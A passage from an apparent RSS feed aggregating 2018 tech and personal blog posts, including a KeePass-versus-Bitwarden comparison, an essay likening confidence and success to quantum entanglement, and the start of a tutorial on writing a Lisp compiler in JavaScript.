      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Professionally maintained.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11H7v-2h10v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Different application on each platform.&lt;/td&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Seamless UI on all platforms.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;While I like KeePass, I think Bitwarden is &lt;em&gt;even better&lt;/em&gt;, and I’d encourage you to
give it a try if you’re thinking about using a different password manager or
trying one for the first time. And if you’re considering switching from a
different password manager, like 1Password or LastPass, I think you’ll be
pleasantly surprised with how nice it is to use Bitwarden. If you’re ready to
give it a shot, check it out at &lt;a href="https://bitwarden.com/"&gt;bitwarden.com&lt;/a&gt;!&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I’m not affiliated with KeePass nor Bitwarden, and I wasn’t compensated in any
way to promote one or the other. I just like writing about useful software.&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Wed, 21 Nov 2018 06:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2018/11/20/keepass-vs-bitwarden.html</guid></item><item><title>17 Pounds in 44 Days: My Adventure with Keto</title><link>https://thomashunter.name/posts/2018-11-21-keto</link><author>Thomas Hunter II</author><pubDate>Wed, 21 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-11-21-keto</guid></item><item><title>Does confidence cause success?</title><link>http://dimitarsimeonov.com/2018/11/20/does-confidence-cause-success</link><description>&lt;p&gt;Success goes hand in hand with confidence. But which causes which?
Does success cause confidence, or is it the other way around?&lt;/p&gt;

&lt;p&gt;One way to look at it is to say that successful people gain confidence
through their “wins” and display it. We observe their confidence and
associate it with success.&lt;/p&gt;

&lt;p&gt;Another way is to note, that when we see someone confident, we assume
they are successful, they are “doing it right”. We treat them with
increased respect and deference, and that might contribute to them
becoming successful.&lt;/p&gt;

&lt;p&gt;Those two processes are not mutually exclusive. It is possible for
both of them to happen at the same time. They both uh… cause each
other to happen. There is no chicken and no egg. It is a
self-fulfilling prophecy.&lt;/p&gt;

&lt;p&gt;&lt;img alt="they both, uh, cause each other" src="http://dimitarsimeonov.com/assets/image/20181120_confidence/theyboth.jpeg" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;But this argument sounds like circular reasoning. If anything, we are
always thought that circular reasoning is wrong and fallacious. We
might think that in the case that someone is successful and confident,
there has to be another phenomenon, which causes both of them to
co-occur. According to our understanding, every little action, every
movement has consequences, and those consequences trigger other
actions after them on so on. Atoms bounce, connect into molecules,
move between cells, affect organism and their actions. Aren’t we
intricate biological robots? We might think that there has to be a
confidence and success atom, or molecule, or cell, or action which is
the real reason for the correlation. There must be a reason for the
correlation of these two phenomena.&lt;/p&gt;

&lt;p&gt;But there ain’t got to be one.&lt;/p&gt;

&lt;h3 id="because-quantum-physics-said-so"&gt;Because quantum physics said so&lt;/h3&gt;

&lt;p&gt;That’s not how our universe works, even at the most basic level.&lt;/p&gt;

&lt;p&gt;Even if we go down to the building blocks of our universe, atoms and
photons, we see confidence and success entangled. You either get both,
or neither. Not one without the other.&lt;/p&gt;

&lt;p&gt;The smallest particles in the universe have quantum behavior. And
both-or-neither is the norm there, not the exception.&lt;/p&gt;

&lt;p&gt;Part of the reason why is because particles can be in multiple states
at the same time. The cat can be both dead and alive at the same time.
If a particle can take states A and B, it can also be in combination
state of 50% A and 50% B. Or 30% vs 70%. Or any other mix. Physicists
use a fancypants word for it - superposition. It means being in
multiple states at the same time.&lt;/p&gt;

&lt;p&gt;The other part of the reason is that some particles can be entangled
with others creating both or neither situations. That same particle we
were just talking about can get entangled with another particle which
also can be in states A and B. A twisted entanglement. It’s not the
case that each particle exists by itself and can be determined
independently. The system can only be a combination AA and BB, but not
AB or BA. The state can be 50% AA and 50% BB. Which means that the two
particles are simultaneously in both states and uncertain, and yet,
determining one of them determines the other completely.&lt;/p&gt;

&lt;p&gt;This is our universe. This is how it works. There is no hidden magic,
hidden state behind it. I’m not making this shit up.&lt;/p&gt;

&lt;h3 id="entanglement-is-everywhere"&gt;Entanglement is everywhere&lt;/h3&gt;

&lt;p&gt;If elementary particles exhibit such entanglement, why are we looking
for causality in complex social systems?&lt;/p&gt;

&lt;p&gt;Developing mutual trust is just like quantum physics. You and I either
both trust each other or we both don’t trust each other. We might be
uncertain which way things will end up, but they do tend to end up in
a situation where both of us trust or mistrust each other. In the long
term, it is very unlikely for you to trust me if I don’t trust you.&lt;/p&gt;

&lt;p&gt;&lt;img alt="prisoner's dilemma" src="http://dimitarsimeonov.com/assets/image/20181120_confidence/prisoners.png" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;It’s the prisoner’s dilemma. We either manage to find a way to
coordinate our trust, or we don’t. If I don’t trust you, then I’ll
take a selfish action, which might cause you to trust me less.&lt;/p&gt;

&lt;p&gt;If I show trust towards you, would you trust me more? Would that make
either of us more successful and confident?&lt;/p&gt;</description><author>D13V</author><pubDate>Wed, 21 Nov 2018 01:07:47 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/11/20/does-confidence-cause-success</guid></item><item><title>5 talks to get up to speed on the JAMStack</title><link>https://yasha.solutions/5-talks-to-get-up-to-speed-on-the-jamstack/</link><description>Never heard of the JAMStack? Maybe not directly – but if you are doing web dev you have for sure heard of some of the players in this field, like Jekyll, Hugo, Jigsaw or GatsbyJS just to name a few.
Indeed monoliths CMS like WordPress or Drupal (just to name these two but Wikipedia list easily a few dozen of major players across all stacks and companies) are often being criticised for being slow at scale or hard to customise and the overhead of growing beyond a certain point start to become ROI negative due to the heavy lifting you need to deploy to get the CMS to do what you want.</description><author>Yasha Solutions</author><pubDate>Tue, 20 Nov 2018 13:52:09 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/5-talks-to-get-up-to-speed-on-the-jamstack/</guid></item><item><title>SRS server – what it is – and install</title><link>https://yasha.solutions/srs-server-what-it-is-and-install/</link><description>What is it? source code on github
From the website :
 SRS delivers rtmp/hls/http/hds live on x86/x64/arm/mips linux/osx, supports origin/edge/vhost and transcode/ingest and dvr/forward and http-api/http-callback/reload, introduces tracable session-oriented log, exports client srs-librtmp, with stream caster to push MPEGTS-over-UDP/RTSP to SRS, provides EN/CN wiki and the most simple architecture.
 Basically it is a simple way to set up and get going with an RTMP server.
How to Create an SRS Server I obsviously still need to test it live.</description><author>Yasha Solutions</author><pubDate>Tue, 20 Nov 2018 11:52:00 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/srs-server-what-it-is-and-install/</guid></item><item><title>How to Setup OBS with NGINX on Windows for RTMP Streaming + VPS Hosted by Amazon AWS</title><link>https://yasha.solutions/how-to-setup-obs-with-nginx-on-windows-for-rtmp-streaming-vps-hosted-by-amazon-aws/</link><description/><author>Yasha Solutions</author><pubDate>Tue, 20 Nov 2018 11:43:40 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/how-to-setup-obs-with-nginx-on-windows-for-rtmp-streaming-vps-hosted-by-amazon-aws/</guid></item><item><title>Links - November 20, 2018</title><link>https://faingezicht.com/links/2018/11/20/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 20 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/11/20/links/</guid></item><item><title>Writing a lisp compiler from scratch in JavaScript: 1. lisp to assembly</title><link>http://notes.eatonphil.com/compiler-basics-lisp-to-assembly.html</link><description>&lt;p class="note"&gt;
  Next in compiler basics:
  &amp;lt;! forgive me, for I have sinned &gt;
  &lt;br /&gt;
  &lt;a href="/compiler-basics-functions.html"&gt;2. user-defined functions and variables&lt;/a&gt;
  &lt;br /&gt;
  &lt;a href="/compiler-basics-llvm.html"&gt;3. LLVM&lt;/a&gt;
  &lt;br /&gt;
  &lt;a href="/compiler-basics-llvm-conditionals.html"&gt;4. LLVM conditionals and compiling fibonacci&lt;/a&gt;
  &lt;br /&gt;
  &lt;a href="/compiler-basics-llvm-system-calls.html"&gt;5. LLVM system calls&lt;/a&gt;
  &lt;br /&gt;
  &lt;a href="/compiler-basics-an-x86-upgrade.html"&gt;6. an x86 upgrade&lt;/a&gt;
&lt;/p&gt;&lt;p&gt;In this post we'll write a simple compiler in Javascript (on Node)
without any third-party libraries. Our goal is to take an input
program like &lt;code&gt;(+ 1 (+ 2 3))&lt;/code&gt; and produce an output assembly program
that does these operations to produce &lt;code&gt;6&lt;/code&gt; as the exit code. The
resulting compiler can be found
&lt;a href="https://github.com/eatonphil/ulisp"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We'll cover:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Parsing&lt;/li&gt;
&lt;li&gt;Code generation&lt;/li&gt;
&lt;li&gt;Assembly basics&lt;/li&gt;
&lt;li&gt;Syscalls&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And for now we'll omit:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Programmable function definitions&lt;/li&gt;
&lt;li&gt;Non-symbol/-numeric data types&lt;/li&gt;
&lt;li&gt;More than 3 function arguments&lt;/li&gt;
&lt;li&gt;Lots of safety&lt;/li&gt;
&lt;li&gt;Lots of error messsages&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="parsing"&gt;Parsing&lt;/h3&gt;&lt;p&gt;We pick the &lt;a href="https://en.wikipedia.org/wiki/S-expression"&gt;S-expression&lt;/a&gt;
syntax mentioned earlier because it's very easy to parse. Furthermore,
our input language is so limited that we won't even break our parser
into separate lexing/parsing stages.&lt;/p&gt;
&lt;p class="note"&gt;
  Once you need to support string literals, comments, decimal
  literals, and other more complex literals it becomes easier to use
  separate stages.

  &lt;br /&gt;
  &lt;br /&gt;

  If you're curious about these separate stages of parsing, you may be
  interested in my post
  on &lt;a href="http://notes.eatonphil.com/writing-a-simple-json-parser.html"&gt;writing
  a JSON parser&lt;/a&gt;.

  &lt;br /&gt;
  &lt;br /&gt;

  Or, check out my BSDScheme project for a fully-featured
  &lt;a href="https://github.com/eatonphil/bsdscheme/blob/master/src/lex.d"&gt;lexer&lt;/a&gt;
  and
  &lt;a href="https://github.com/eatonphil/bsdscheme/blob/master/src/parse.d"&gt;parser&lt;/a&gt;
  for Scheme.
&lt;/p&gt;&lt;p&gt;The parser should produce an Abstract Syntax Tree (AST), a data
structure representing the input program. Specifically, we want &lt;code&gt;(+ 1 (+ 2 3))&lt;/code&gt;
to produce &lt;code&gt;['+', 1, ['+', 2, 3]]&lt;/code&gt; in Javascript.&lt;/p&gt;
&lt;p&gt;There are many different ways to go about parsing but the most
intuitive to me is to have a function that accepts a program (a
string) and returns a tuple containing the program parsed so far (an
AST) and the rest of the program (a string) that hasn't been
parsed.&lt;/p&gt;
&lt;p&gt;That leaves us with a function skeleton that looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;logic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;added&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The code that initially calls parse will thus have to deal with
unwrapping the outermost tuple to get to the AST. For a more helpful
compiler we could check that the entire program &lt;em&gt;was&lt;/em&gt; actually parsed
by failing if the second element of the return result is not the empty
string.&lt;/p&gt;
&lt;p&gt;Within the function we will iterate over each character and accumulate
until we hit space, left or right parenthesis:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;charAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'('&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// TODO&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;')'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// TODO&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;char&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The recursive parts are always the most challenging. The right paren
is easiest. We must push the current token and return all tokens with
the rest of the program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;charAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'('&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// TODO&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;')'&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;currentToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
